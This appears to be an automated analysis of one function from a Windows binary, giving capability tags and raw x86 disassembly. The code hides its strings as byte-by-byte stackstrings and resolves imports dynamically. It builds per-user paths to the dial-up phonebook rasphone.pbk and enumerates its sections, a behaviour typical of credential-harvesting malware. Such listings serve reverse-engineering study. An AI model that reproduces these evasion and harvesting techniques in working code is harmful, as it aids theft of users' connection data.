Function at 0x403cb0
Capabilities:
Contain obfuscated stackstrings
Get common file path
Read .ini file
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push str.wsprintfA
mov esi, ecx
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov al, 0x70
mov bl, 0x6f
mov dl, 0x72
mov cl, 0x6b
mov byte [esp + 0x60], 0x5c
mov byte [esp + 0x61], 0x41
mov byte [esp + 0x62], al
mov byte [esp + 0x63], al
mov byte [esp + 0x64], 0x6c
mov byte [esp + 0x65], 0x69
mov byte [esp + 0x66], 0x63
mov byte [esp + 0x67], 0x61
mov byte [esp + 0x68], 0x74
mov byte [esp + 0x69], 0x69
mov byte [esp + 0x6a], bl
mov byte [esp + 0x6b], 0x6e
mov byte [esp + 0x6c], 0x20
mov byte [esp + 0x6d], 0x44
mov byte [esp + 0x6e], 0x61
mov byte [esp + 0x6f], 0x74
mov byte [esp + 0x70], 0x61
mov byte [esp + 0x71], 0x5c
mov byte [esp + 0x72], 0x4d
mov byte [esp + 0x73], 0x69
mov byte [esp + 0x74], 0x63
mov byte [esp + 0x75], dl
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], 0x73
mov byte [esp + 0x78], bl
mov byte [esp + 0x79], 0x66
mov byte [esp + 0x7a], 0x74
mov byte [esp + 0x7b], 0x5c
mov byte [esp + 0x7c], 0x4e
mov byte [esp + 0x7d], 0x65
mov byte [esp + 0x7e], 0x74
mov byte [esp + 0x7f], 0x77
mov byte [esp + 0x80], bl
mov byte [esp + 0x81], dl
mov byte [esp + 0x82], cl
mov byte [esp + 0x83], 0x5c
mov byte [esp + 0x84], 0x43
mov byte [esp + 0x85], bl
mov byte [esp + 0x86], 0x6e
mov byte [esp + 0x87], 0x6e
mov byte [esp + 0x88], 0x65
mov byte [esp + 0x89], 0x63
mov byte [esp + 0x8a], 0x74
mov byte [esp + 0x8b], 0x69
mov byte [esp + 0x8c], bl
mov byte [esp + 0x8d], 0x6e
mov byte [esp + 0x8e], 0x73
mov byte [esp + 0x8f], 0x5c
mov byte [esp + 0x90], al
mov byte [esp + 0x91], 0x62
mov byte [esp + 0x92], cl
mov byte [esp + 0x93], 0x5c
mov byte [esp + 0x94], dl
mov byte [esp + 0x95], 0x61
mov byte [esp + 0x96], 0x73
mov byte [esp + 0x97], al
mov byte [esp + 0x98], 0x68
mov byte [esp + 0x99], bl
mov byte [esp + 0x9a], 0x6e
mov byte [esp + 0x9b], 0x65
mov byte [esp + 0x9c], 0x2e
mov byte [esp + 0x9d], al
mov byte [esp + 0x9e], 0x62
mov byte [esp + 0x9f], cl
mov byte [esp + 0xa0], 0
mov byte [esp + 0x30], 0x4d
mov byte [esp + 0x4e], al
mov byte [esp + 0x55], al
mov byte [esp + 0x5b], al
lea eax, [esp + 0xb4]
push 0x105
push eax
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x73
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], 0x66
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x41], 0x5c
mov byte [esp + 0x42], 0x4e
mov byte [esp + 0x43], 0x65
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], 0x77
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], dl
mov byte [esp + 0x48], cl
mov byte [esp + 0x49], 0x5c
mov byte [esp + 0x4a], 0x43
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], 0x6e
mov byte [esp + 0x4d], 0x6e
mov byte [esp + 0x4e], 0x65
mov byte [esp + 0x4f], 0x63
mov byte [esp + 0x50], 0x74
mov byte [esp + 0x51], 0x69
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], 0x6e
mov byte [esp + 0x54], 0x73
mov byte [esp + 0x55], 0x5c
mov byte [esp + 0x57], 0x62
mov byte [esp + 0x58], cl
mov byte [esp + 0x59], 0x5c
mov byte [esp + 0x5a], dl
mov byte [esp + 0x5b], 0x61
mov byte [esp + 0x5c], 0x73
mov byte [esp + 0x5e], 0x68
mov byte [esp + 0x5f], bl
mov byte [esp + 0x60], 0x6e
mov byte [esp + 0x61], 0x65
mov byte [esp + 0x62], 0x2e
mov byte [esp + 0x64], 0x62
mov byte [esp + 0x65], cl
mov byte [esp + 0x66], 0
mov dword [esp + 0xac], 0
call dword [0x478138]
mov al, 0x25
mov byte [esp + 0x18], 0x44
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x75
mov byte [esp + 0x1c], 0x6d
mov byte [esp + 0x1d], 0x65
mov byte [esp + 0x1e], 0x6e
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x73
mov byte [esp + 0x21], 0x20
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], 0x64
mov byte [esp + 0x25], 0x20
mov byte [esp + 0x26], 0x53
mov byte [esp + 0x27], 0x65
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x67
mov byte [esp + 0x2d], 0x73
mov byte [esp + 0x2e], 0x5c
mov byte [esp + 0x2f], 0
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x73
mov byte [esp + 0x12], 0x5c
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0x73
lea ecx, [esp + 0x18]
lea edx, [esp + 0xb4]
push ecx
push 0x5c
push edx
mov byte [esp + 0x21], 0
call sub.MSVCRT.dll_strchr
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0xb4]
push eax
push ecx
call esi
lea edx, [esp + 0x60]
lea eax, [esp + 0xb4]
push edx
push eax
call esi
push 0
lea ecx, [esp + 0x1c0]
push 0x23
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea edx, [esp + 0x30]
lea eax, [esp + 0x1bc]
push edx
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x1c4]
push ecx
push edx
call edi
lea eax, [esp + 0xc4]
lea ecx, [esp + 0x1cc]
push 0x1000
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov ebx, eax
lea ebp, [esp + 0xac]
mov dword [esp + 0xa8], 2
mov edx, dword [ebp]
mov ecx, 0x400
xor eax, eax
mov edi, ebx
push edx
push 0x1000
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x4040f3
mov edx, dword [esp + 0xa4]
push esi
inc edx
mov dword [esp + 0xa8], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x4040d4
mov eax, dword [esp + 0xa8]
add ebp, 4
dec eax
mov dword [esp + 0xa8], eax
jne 0x4040b1
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0xa8]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret